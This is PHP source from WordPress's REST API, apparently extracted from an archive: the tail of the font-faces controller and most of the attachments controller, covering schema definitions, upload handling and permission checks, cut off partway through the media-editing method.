			$processed_srcs[] = $font_file['url'];
			$font_file_meta[] = $this->relative_fonts_path( $font_file['file'] );
		}

		// Store the updated settings for prepare_item_for_database to use.
		$settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs;
		$request->set_param( 'font_face_settings', $settings );

		// Ensure that $settings data is slashed, so values with quotes are escaped.
		// WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content.
		$font_face_post = parent::create_item( $request );

		if ( is_wp_error( $font_face_post ) ) {
			return $font_face_post;
		}

		$font_face_id = $font_face_post->data['id'];

		foreach ( $font_file_meta as $font_file_path ) {
			add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path );
		}

		return $font_face_post;
	}

	/**
	 * Deletes a single font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font faces.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font face output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}
		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = $item->post_parent;
		}

		if ( rest_is_field_included( 'font_face_settings', $fields ) ) {
			$data['font_face_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font face data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font face post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version' => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'parent'             => array(
					'description' => __( 'The ID for the parent font family of the font face.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				// Font face settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_face_settings' => array(
					'description'          => __( 'font-face declaration in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'fontFamily'            => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'fontStyle'             => array(
							'description' => __( 'CSS font-style value.' ),
							'type'        => 'string',
							'default'     => 'normal',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontWeight'            => array(
							'description' => __( 'List of available font weights, separated by a space.' ),
							'default'     => '400',
							// Changed from `oneOf` to avoid errors from loose type checking.
							// e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check.
							'type'        => array( 'string', 'integer' ),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontDisplay'           => array(
							'description' => __( 'CSS font-display value.' ),
							'type'        => 'string',
							'default'     => 'fallback',
							'enum'        => array(
								'auto',
								'block',
								'fallback',
								'swap',
								'optional',
							),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'src'                   => array(
							'description' => __( 'Paths or URLs to the font files.' ),
							// Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array,
							// and causing a "matches more than one of the expected formats" error.
							'anyOf'       => array(
								array(
									'type' => 'string',
								),
								array(
									'type'  => 'array',
									'items' => array(
										'type' => 'string',
									),
								),
							),
							'default'     => array(),
							'arg_options' => array(
								'sanitize_callback' => function ( $value ) {
									return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value );
								},
							),
						),
						'fontStretch'           => array(
							'description' => __( 'CSS font-stretch value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'ascentOverride'        => array(
							'description' => __( 'CSS ascent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'descentOverride'       => array(
							'description' => __( 'CSS descent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariant'           => array(
							'description' => __( 'CSS font-variant value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontFeatureSettings'   => array(
							'description' => __( 'CSS font-feature-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariationSettings' => array(
							'description' => __( 'CSS font-variation-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'lineGapOverride'       => array(
							'description' => __( 'CSS line-gap-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'sizeAdjust'            => array(
							'description' => __( 'CSS size-adjust value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'unicodeRange'          => array(
							'description' => __( 'CSS unicode-range value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'preview'               => array(
							'description' => __( 'URL to a preview image of the font face.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'fontFamily', 'src' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font face collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['slug'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font face controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_face_collection_params', $query_params );
	}

	/**
	 * Get the params used when creating a new font face.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font face create arguments.
	 */
	public function get_create_params() {
		$properties = $this->get_item_schema()['properties'];
		return array(
			'theme_json_version' => $properties['theme_json_version'],
			// When creating, font_face_settings is stringified JSON, to work with multipart/form-data used
			// when uploading font files.
			'font_face_settings' => array(
				'description'       => __( 'font-face declaration in theme.json format, encoded as a string.' ),
				'type'              => 'string',
				'required'          => true,
				'validate_callback' => array( $this, 'validate_create_font_face_settings' ),
				'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ),
			),
		);
	}

	/**
	 * Get the parent font family, if the ID is valid.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent_font_family_post( $font_family_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.', 'default' ),
			array( 'status' => 404 )
		);

		if ( (int) $font_family_id <= 0 ) {
			return $error;
		}

		$font_family_post = get_post( (int) $font_family_id );

		if ( empty( $font_family_post ) || empty( $font_family_post->ID )
		|| 'wp_font_family' !== $font_family_post->post_type
		) {
			return $error;
		}

		return $font_family_post;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		return array(
			'self'       => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ),
			),
			'collection' => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ),
			),
			'parent'     => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ),
			),
		);
	}

	/**
	 * Prepares a single font face post for creation.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings = $request->get_param( 'font_face_settings' );

		// Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting,
		// which may contain multibyte characters.
		$title = WP_Font_Utils::get_font_face_slug( $settings );

		$prepared_post->post_type    = $this->post_type;
		$prepared_post->post_parent  = $request['font_family_id'];
		$prepared_post->post_status  = 'publish';
		$prepared_post->post_title   = $title;
		$prepared_post->post_name    = sanitize_title( $title );
		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Sanitizes a single src value for a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Font face src that is a URL or the key for a $_FILES array item.
	 * @return string Sanitized value.
	 */
	protected function sanitize_src( $value ) {
		$value = ltrim( $value );
		return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value );
	}

	/**
	 * Handles the upload of a font file using wp_handle_upload().
	 *
	 * @since 6.5.0
	 *
	 * @param array $file Single file item from $_FILES.
	 * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure.
	 */
	protected function handle_font_file_upload( $file ) {
		add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );
		// Filter the upload directory to return the fonts directory.
		add_filter( 'upload_dir', '_wp_filter_font_directory' );

		$overrides = array(
			'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ),
			// Not testing a form submission.
			'test_form'            => false,
			// Only allow uploading font files for this request.
			'mimes'                => WP_Font_Utils::get_allowed_font_mime_types(),
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$uploaded_file = wp_handle_upload( $file, $overrides );

		remove_filter( 'upload_dir', '_wp_filter_font_directory' );
		remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );

		return $uploaded_file;
	}

	/**
	 * Handles file upload error.
	 *
	 * @since 6.5.0
	 *
	 * @param array  $file    File upload data.
	 * @param string $message Error message from wp_handle_upload().
	 * @return WP_Error WP_Error object.
	 */
	public function handle_font_file_upload_error( $file, $message ) {
		$status = 500;
		$code   = 'rest_font_upload_unknown_error';

		if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) {
			$status = 400;
			$code   = 'rest_font_upload_invalid_file_type';
		}

		return new WP_Error( $code, $message, array( 'status' => $status ) );
	}

	/**
	 * Returns relative path to an uploaded font file.
	 *
	 * The path is relative to the current fonts directory.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @param string $path Full path to the file.
	 * @return string Relative path on success, unchanged path on failure.
	 */
	protected function relative_fonts_path( $path ) {
		$new_path = $path;

		$fonts_dir = wp_get_font_dir();
		if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) {
			$new_path = str_replace( $fonts_dir['basedir'], '', $new_path );
			$new_path = ltrim( $new_path, '/' );
		}

		return $new_path;
	}

	/**
	 * Gets the font face's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font face post object.
	 * @return array Font face settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings   = json_decode( $post->post_content, true );
		$properties = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Provide required, empty settings if needed.
		if ( null === $settings ) {
			$settings = array(
				'fontFamily' => '',
				'src'        => array(),
			);
		}

		// Only return the properties defined in the schema.
		return array_intersect_key( $settings, $properties );
	}
}
endpoints/class-wp-rest-attachments-controller.php000066600000151732152442706000016473 0ustar00<?php
/**
 * REST API: WP_REST_Attachments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access attachments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Attachments_Controller extends WP_REST_Posts_Controller {

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for attachments.
	 *
	 * @since 5.3.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		parent::register_routes();
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/post-process',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'post_process_item' ),
				'permission_callback' => array( $this, 'post_process_item_permissions_check' ),
				'args'                => array(
					'id'     => array(
						'description' => __( 'Unique identifier for the attachment.' ),
						'type'        => 'integer',
					),
					'action' => array(
						'type'     => 'string',
						'enum'     => array( 'create-image-subsizes' ),
						'required' => true,
					),
				),
			)
		);
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)/edit',
			array(
				'methods'             => WP_REST_Server::CREATABLE,
				'callback'            => array( $this, 'edit_media_item' ),
				'permission_callback' => array( $this, 'edit_media_item_permissions_check' ),
				'args'                => $this->get_edit_media_item_args(),
			)
		);
	}

	/**
	 * Determines the allowed query_vars for a get_items() response and
	 * prepares for WP_Query.
	 *
	 * @since 4.7.0
	 * @since 6.9.0 Extends the `media_type` and `mime_type` request arguments to support array values.
	 *
	 * @param array           $prepared_args Optional. Array of prepared arguments. Default empty array.
	 * @param WP_REST_Request $request       Optional. Request to prepare items for.
	 * @return array Array of query arguments.
	 */
	protected function prepare_items_query( $prepared_args = array(), $request = null ) {
		$query_args = parent::prepare_items_query( $prepared_args, $request );

		if ( empty( $query_args['post_status'] ) ) {
			$query_args['post_status'] = 'inherit';
		}

		$all_mime_types = array();
		$media_types    = $this->get_media_types();

		if ( ! empty( $request['media_type'] ) && is_array( $request['media_type'] ) ) {
			foreach ( $request['media_type'] as $type ) {
				if ( isset( $media_types[ $type ] ) ) {
					$all_mime_types = array_merge( $all_mime_types, $media_types[ $type ] );
				}
			}
		}

		if ( ! empty( $request['mime_type'] ) && is_array( $request['mime_type'] ) ) {
			foreach ( $request['mime_type'] as $mime_type ) {
				$parts = explode( '/', $mime_type );
				if ( isset( $media_types[ $parts[0] ] ) && in_array( $mime_type, $media_types[ $parts[0] ], true ) ) {
					$all_mime_types[] = $mime_type;
				}
			}
		}

		if ( ! empty( $all_mime_types ) ) {
			$query_args['post_mime_type'] = array_values( array_unique( $all_mime_types ) );
		}

		// Filter query clauses to include filenames.
		if ( isset( $query_args['s'] ) ) {
			add_filter( 'wp_allow_query_attachment_by_filename', '__return_true' );
		}

		return $query_args;
	}

	/**
	 * Checks if a given request has access to create an attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error Boolean true if the attachment may be created, or a WP_Error if not.
	 */
	public function create_item_permissions_check( $request ) {
		$ret = parent::create_item_permissions_check( $request );

		if ( ! $ret || is_wp_error( $ret ) ) {
			return $ret;
		}

		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => 400 )
			);
		}

		// Attaching media to a post requires ability to edit said post.
		if ( ! empty( $request['post'] ) && ! current_user_can( 'edit_post', (int) $request['post'] ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to upload media to this post.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		$files = $request->get_file_params();

		/**
		 * Filter whether the server should prevent uploads for image types it doesn't support. Default true.
		 *
		 * Developers can use this filter to enable uploads of certain image types. By default image types that are not
		 * supported by the server are prevented from being uploaded.
		 *
		 * @since 6.8.0
		 *
		 * @param bool        $check_mime Whether to prevent uploads of unsupported image types.
		 * @param string|null $mime_type  The mime type of the file being uploaded (if available).
		 */
		$prevent_unsupported_uploads = apply_filters( 'wp_prevent_unsupported_mime_type_uploads', true, isset( $files['file']['type'] ) ? $files['file']['type'] : null );

		// If the upload is an image, check if the server can handle the mime type.
		if (
			$prevent_unsupported_uploads &&
			isset( $files['file']['type'] ) &&
			str_starts_with( $files['file']['type'], 'image/' )
		) {
			// List of non-resizable image formats.
			$editor_non_resizable_formats = array(
				'image/svg+xml',
			);

			// Check if the image editor supports the type or ignore if it isn't a format resizable by an editor.
			if (
				! in_array( $files['file']['type'], $editor_non_resizable_formats, true ) &&
				! wp_image_editor_supports( array( 'mime_type' => $files['file']['type'] ) )
			) {
				return new WP_Error(
					'rest_upload_image_type_not_supported',
					__( 'The web server cannot generate responsive image sizes for this image. Convert it to JPEG or PNG before uploading.' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Creates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$insert = $this->insert_attachment( $request );

		if ( is_wp_error( $insert ) ) {
			return $insert;
		}

		$schema = $this->get_item_schema();

		// Extract by name.
		$attachment_id = $insert['attachment_id'];
		$file          = $insert['file'];

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $attachment_id, '_wp_attachment_image_alt', sanitize_text_field( $request['alt_text'] ) );
		}

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment_id );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $attachment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$attachment    = get_post( $attachment_id );
		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$terms_update = $this->handle_terms( $attachment_id, $request );

		if ( is_wp_error( $terms_update ) ) {
			return $terms_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single attachment is completely created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_after_insert_attachment', $attachment, $request, true );

		wp_after_insert_post( $attachment, false, null );

		if ( wp_is_serving_rest_request() ) {
			/*
			 * Set a custom header with the attachment_id.
			 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
			 */
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		// Include media and image functions to get access to wp_generate_attachment_metadata().
		require_once ABSPATH . 'wp-admin/includes/media.php';
		require_once ABSPATH . 'wp-admin/includes/image.php';

		/*
		 * Post-process the upload (create image sub-sizes, make PDF thumbnails, etc.) and insert attachment meta.
		 * At this point the server may run out of resources and post-processing of uploaded images may fail.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );
		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $attachment_id ) ) );

		return $response;
	}

	/**
	 * Inserts the attachment post in the database. Does not update the attachment meta.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request
	 * @return array|WP_Error
	 */
	protected function insert_attachment( $request ) {
		// Get the file via $_FILES or raw data.
		$files   = $request->get_file_params();
		$headers = $request->get_headers();

		$time = null;

		// Matches logic in media_handle_upload().
		if ( ! empty( $request['post'] ) ) {
			$post = get_post( $request['post'] );
			// The post date doesn't usually matter for pages, so don't backdate this upload.
			if ( $post && 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
				$time = $post->post_date;
			}
		}

		if ( ! empty( $files ) ) {
			$file = $this->upload_from_file( $files, $headers, $time );
		} else {
			$file = $this->upload_from_data( $request->get_body(), $headers, $time );
		}

		if ( is_wp_error( $file ) ) {
			return $file;
		}

		$name       = wp_basename( $file['file'] );
		$name_parts = pathinfo( $name );
		$name       = trim( substr( $name, 0, -( 1 + strlen( $name_parts['extension'] ) ) ) );

		$url  = $file['url'];
		$type = $file['type'];
		$file = $file['file'];

		// Include image functions to get access to wp_read_image_metadata().
		require_once ABSPATH . 'wp-admin/includes/image.php';

		// Use image exif/iptc data for title and caption defaults if possible.
		$image_meta = wp_read_image_metadata( $file );

		if ( ! empty( $image_meta ) ) {
			if ( empty( $request['title'] ) && trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$request['title'] = $image_meta['title'];
			}

			if ( empty( $request['caption'] ) && trim( $image_meta['caption'] ) ) {
				$request['caption'] = $image_meta['caption'];
			}
		}

		$attachment = $this->prepare_item_for_database( $request );

		$attachment->post_mime_type = $type;
		$attachment->guid           = $url;

		// If the title was not set, use the original filename.
		if ( empty( $attachment->post_title ) && ! empty( $files['file']['name'] ) ) {
			// Remove the file extension (after the last `.`)
			$tmp_title = substr( $files['file']['name'], 0, strrpos( $files['file']['name'], '.' ) );

			if ( ! empty( $tmp_title ) ) {
				$attachment->post_title = $tmp_title;
			}
		}

		// Fall back to the original approach.
		if ( empty( $attachment->post_title ) ) {
			$attachment->post_title = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
		}

		// $post_parent is inherited from $attachment['post_parent'].
		$id = wp_insert_attachment( wp_slash( (array) $attachment ), $file, 0, true, false );

		if ( is_wp_error( $id ) ) {
			if ( 'db_update_error' === $id->get_error_code() ) {
				$id->add_data( array( 'status' => 500 ) );
			} else {
				$id->add_data( array( 'status' => 400 ) );
			}

			return $id;
		}

		$attachment = get_post( $id );

		/**
		 * Fires after a single attachment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Post         $attachment Inserted or updated attachment object.
		 * @param WP_REST_Request $request    The request sent to the API.
		 * @param bool            $creating   True when creating an attachment, false when updating.
		 */
		do_action( 'rest_insert_attachment', $attachment, $request, true );

		return array(
			'attachment_id' => $id,
			'file'          => $file,
		);
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 6.5.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {
		$post_type         = get_post_type( $post_id );
		$thumbnail_support = current_theme_supports( 'post-thumbnails', $post_type ) && post_type_supports( $post_type, 'thumbnail' );

		// Similar check as in wp_insert_post().
		if ( ! $thumbnail_support && get_post_mime_type( $post_id ) ) {
			if ( wp_attachment_is( 'audio', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:audio', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:audio' );
			} elseif ( wp_attachment_is( 'video', $post_id ) ) {
				$thumbnail_support = post_type_supports( 'attachment:video', 'thumbnail' ) || current_theme_supports( 'post-thumbnails', 'attachment:video' );
			}
		}

		if ( $thumbnail_support ) {
			return parent::handle_featured_media( $featured_media, $post_id );
		}

		return new WP_Error(
			'rest_no_featured_media',
			sprintf(
				/* translators: %s: attachment mime type */
				__( 'This site does not support post thumbnails on attachments with MIME type %s.' ),
				get_post_mime_type( $post_id )
			),
			array( 'status' => 400 )
		);
	}

	/**
	 * Updates a single attachment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( ! empty( $request['post'] ) && in_array( get_post_type( $request['post'] ), array( 'revision', 'attachment' ), true ) ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'Invalid parent type.' ),
				array( 'status' => 400 )
			);
		}

		$attachment_before = get_post( $request['id'] );
		$response          = parent::update_item( $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response = rest_ensure_response( $response );
		$data     = $response->get_data();

		if ( isset( $request['alt_text'] ) ) {
			update_post_meta( $data['id'], '_wp_attachment_image_alt', $request['alt_text'] );
		}

		$attachment = get_post( $request['id'] );

		if ( ! empty( $schema['properties']['featured_media'] ) && isset( $request['featured_media'] ) ) {
			$thumbnail_update = $this->handle_featured_media( $request['featured_media'], $attachment->ID );

			if ( is_wp_error( $thumbnail_update ) ) {
				return $thumbnail_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $attachment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php */
		do_action( 'rest_after_insert_attachment', $attachment, $request, false );

		wp_after_insert_post( $attachment, true, $attachment_before );

		$response = $this->prepare_item_for_response( $attachment, $request );
		$response = rest_ensure_response( $response );

		return $response;
	}

	/**
	 * Performs post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure.
	 */
	public function post_process_item( $request ) {
		switch ( $request['action'] ) {
			case 'create-image-subsizes':
				require_once ABSPATH . 'wp-admin/includes/image.php';
				wp_update_image_subsizes( $request['id'] );
				break;
		}

		$request['context'] = 'edit';

		return $this->prepare_item_for_response( get_post( $request['id'] ), $request );
	}

	/**
	 * Checks if a given request can perform post-processing on an attachment.
	 *
	 * @since 5.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function post_process_item_permissions_check( $request ) {
		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Checks if a given request has access to editing media.
	 *
	 * @since 5.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function edit_media_item_permissions_check( $request ) {
		if ( ! current_user_can( 'upload_files' ) ) {
			return new WP_Error(
				'rest_cannot_edit_image',
				__( 'Sorry, you are not allowed to upload media on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return $this->update_item_permissions_check( $request );
	}

	/**
	 * Applies edits to a media item and creates a new attachment record.
	 *
	 * @since 5.5.0
	 * @since 6.9.0 Adds flips capability and editable fields for the newly-created attachment post.
	 *
	 * @param WP_REST_Request $request Full details about the request.
